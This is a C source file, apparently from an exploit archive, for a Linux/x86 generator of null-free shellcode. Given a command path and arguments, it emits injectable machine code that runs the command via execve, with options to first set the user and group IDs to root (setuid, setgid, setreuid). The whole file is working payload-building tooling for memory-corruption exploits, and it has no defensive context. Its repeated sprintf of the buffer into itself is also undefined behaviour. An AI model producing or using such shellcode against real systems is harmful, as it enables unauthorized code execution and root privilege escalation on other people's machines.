/**
*
* Author: TheWorm <theworm[at]autistici.org>
* Date: 16/07/2009
*
* Linux/x86 shellcode generator NULL-free - execve(executable/command)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXARGS 3
void use (char *progname)
{
fprintf (stderr, "Use: %s <option> path/to/executable <arg1> <arg2> <arg3>\n"
"Ex: %s -u /sbin/halt\n"
"Ex: %s -ug /sbin/shutdown now\n"
"Ex: %s /bin/ls -l -s /\n\n"
"Options:\n"
" -r add setreuid(0,0) to the shellcode\n"
" -u add setuid(0)\n"
" -g add setgid(0)\n"
" -ug add setuid(0) and setgid(0)\n"
" -h show this help page\n", progname, progname, progname, progname);
}
int main (int argc, char **argv)
{
if (!argv[1]) {
use (argv[0]);
exit (1);
}
char code[0x1000] = {0};
int opt, len, i, slash = 1, s = 0;
if (strcmp(argv[1], "-r")==0)
{
sprintf (code,
"\\x60" // pusha
"\\x31\\xc0" // xor %eax,%eax
"\\x99" // cltd
"\\xb0\\x46" // mov $0x46,%al
"\\x31\\xdb" // xor %ebx,%ebx
"\\x31\\xc9" // xor %ecx,%ecx
"\\xcd\\x80" // int $0x80
"\\x52"); // push %edx
opt = 2;
}
else if (strcmp(argv[1], "-u")==0)
{
sprintf (code,
"\\x60" // pusha
"\\x31\\xc0" // xor %eax,%eax
"\\x99" // cltd
"\\xb0\\x17" // mov $0x17,%al
"\\x31\\xdb" // xor %ebx,%ebx
"\\xcd\\x80" // int $0x80
"\\x52"); // push %edx
opt = 2;
}
else if (strcmp(argv[1], "-g")==0)
{
sprintf (code,
"\\x60" // pusha
"\\x31\\xc0" // xor %eax,%eax
"\\x99" // cltd
"\\xb0\\x2e" // mov $0x2e,%al
"\\x31\\xdb" // xor %ebx,%ebx
"\\xcd\\x80" // int $0x80
"\\x52"); // push %edx
opt = 2;
}
else if (strcmp(argv[1], "-ug")==0)
{
sprintf (code,
"\\x60" // pusha
"\\x31\\xc0" // xor %eax,%eax
"\\x99" // cltd
"\\xb0\\x17" // mov $0x17,%al
"\\x31\\xdb" // xor %ebx,%ebx
"\\xcd\\x80" // int $0x80
"\\xb0\\x2e" // mov $0x2e,%al
"\\xcd\\x80" // int $0x80
"\\x52"); // push %edx
opt = 2;
}
else if (strcmp(argv[1], "-h")==0)
{
use (argv[0]);
exit (1);
}
else
{
if (argc > 4)
{
sprintf (code,
"\\x60" // pusha
"\\x31\\xc0" // xor %eax,%eax
"\\x99" // cltd
"\\x52"); // push %edx
}
else
{
sprintf (code,
"\\x60" // pusha
"\\x6a\\x0b" // push $0x0b
"\\x58" // pop %eax
"\\x99" // cltd
"\\x52"); // push %edx
}
opt = 1;
}
if (opt > 0 && argc < opt+1)
{
use (argv[0]);
exit (1);
}
if(argc > (opt+MAXARGS+1))
{
fprintf (stderr, "Sorry, cannot accept more than %d arguments:\n", MAXARGS);
for (i = 0; i < (opt+MAXARGS+1); i++)
{
fprintf (stderr, "%s ", argv[i]);
}
fprintf (stderr, "\nNOT\n");
for (i = 0; i < argc; i++)
{
fprintf (stderr, "%s ", argv[i]);
}
fprintf (stderr, "\n");
exit (1);
}
len = strlen(argv[opt]);
for (i = 0; i < len; i=i+4)
{
if (slash)
{
strcat (code, "\\x68"); // push
if (len-i-4 < 0)
{
strcat (code, "\\x2f"); // slash char '/'
slash = 0;
}
else
{
sprintf (code, "%s\\x%2x", code, argv[opt][len-i-4]);
}
if (len-i-3 < 0)
{
strcat (code, "\\x2f"); // slash char '/'
slash = 0;
}
else
{
sprintf (code, "%s\\x%2x", code, argv[opt][len-i-3]);
}
if (len-i-2 < 0)
{
strcat (code, "\\x2f"); // slash char '/'
slash = 0;
}
else
{
sprintf (code, "%s\\x%2x", code, argv[opt][len-i-2]);
}
if (len-i-1 < 0)
{
strcat (code, "\\x2f"); // slash char '/'
slash = 0;
}
else
{
sprintf (code, "%s\\x%2x", code, argv[opt][len-i-1]);
}
}
}
if (argc < (opt+2))
{
strcat (code,
"\\x89\\xe3" // mov %esp,%ebx
"\\x52" // push %edx
"\\x53" // push %ebx
"\\x89\\xe1" // mov %esp,%ecx
"\\xcd\\x80" // int $0x80
"\\x61"); // popa
}
else if (argc == (opt+2))
{
strcat (code,
"\\x89\\xe3" // mov %esp,%ebx
"\\x52"); // push %edx
len = strlen(argv[opt+1]);
if ((len%4)!=0)
{
if (len-(len/4)*4 == 1)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
s = 1;
}
else if (len-(len/4)*4 == 2)
{
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
s = 2;
}
else if (len-(len/4)*4 == 3)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
s = 3;
}
}
for (i = s; i < len; i=i+4)
{
if (len-i-1 >= 0)
{
strcat (code, "\\x68"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-4]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-1]);
}
}
strcat (code,
"\\x89\\xe1" // mov %esp,%ecx
"\\x52" // push %edx
"\\x51" // push %ecx
"\\x53" // push %ebx
"\\x89\\xe1" // mov %esp,%ecx
"\\xcd\\x80" // int $0x80
"\\x61"); // popa
}
else if (argc > (opt+2))
{
strcat (code,
"\\x89\\xe3" // mov %esp,%ebx
"\\x52"); // push %edx
len = strlen(argv[opt+1]);
if ((len%4)!=0)
{
if (len-(len/4)*4 == 1)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
s = 1;
}
else if (len-(len/4)*4 == 2)
{
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
s = 2;
}
else if (len-(len/4)*4 == 3)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-1]);
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-2]);
s = 3;
}
}
for (i = s; i < len; i=i+4)
{
if (len-i-1 >= 0)
{
strcat (code, "\\x68"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-4]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+1][len-i-1]);
}
}
strcat (code,
"\\x89\\xe1" // mov %esp,%ecx
"\\x52"); // push %edx
if (argc > (opt+3))
{
s = 0;
len = strlen(argv[opt+3]);
if ((len%4)!=0)
{
if (len-(len/4)*4 == 1)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
s = 1;
}
else if (len-(len/4)*4 == 2)
{
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
s = 2;
}
else if (len-(len/4)*4 == 3)
{
strcat (code, "\\x6a"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-1]);
strcat (code, "\\x66\\x68"); // pushw
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-2]);
s = 3;
}
}
for (i = s; i < len; i=i+4)
{
if (len-i-1 >= 0)
{
strcat (code, "\\x68"); // push
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-4]);
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-3]);
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-2]);
sprintf (code, "%s\\x%2x", code, argv[opt+3][len-i-1]);
}
}
strcat (code,
"\\x89\\xe0" // mov %esp,%ecx
"\\x52" // push %edx
"\\x50" // push %eax
"\\x51" // push %ecx
"\\xeb\\x09" // jmp arg1
"\\x53" // push %ebx
"\\x89\\xe1" // mov %esp,%ecx
"\\x6a\\x0b" // push $0x0b
"\\x58" // pop %eax
"\\xcd\\x80" // int $0x80
"\\x61" // popa
"\\xe8\\xf2\\xff\\xff\\xff"); // call f1 (return to main function)
}
else
{
strcat (code,
"\\x51" // push %ecx
"\\xeb\\x06" // jmp arg1
"\\x53" // push %ebx
"\\x89\\xe1" // mov %esp,%ecx
"\\xcd\\x80" // int $0x80
"\\x61" // popa
"\\xe8\\xf5\\xff\\xff\\xff"); // call f1 (return to main function)
}
}
if (argc > opt+2)
{
for (i=0; i<strlen(argv[opt+2]); i++)
sprintf (code, "%s\\x%.2x", code, argv[opt+2][i]);
}
fprintf (stdout, "Size: %d bytes\n%s\n", strlen(code)/4, code);
return 0;
}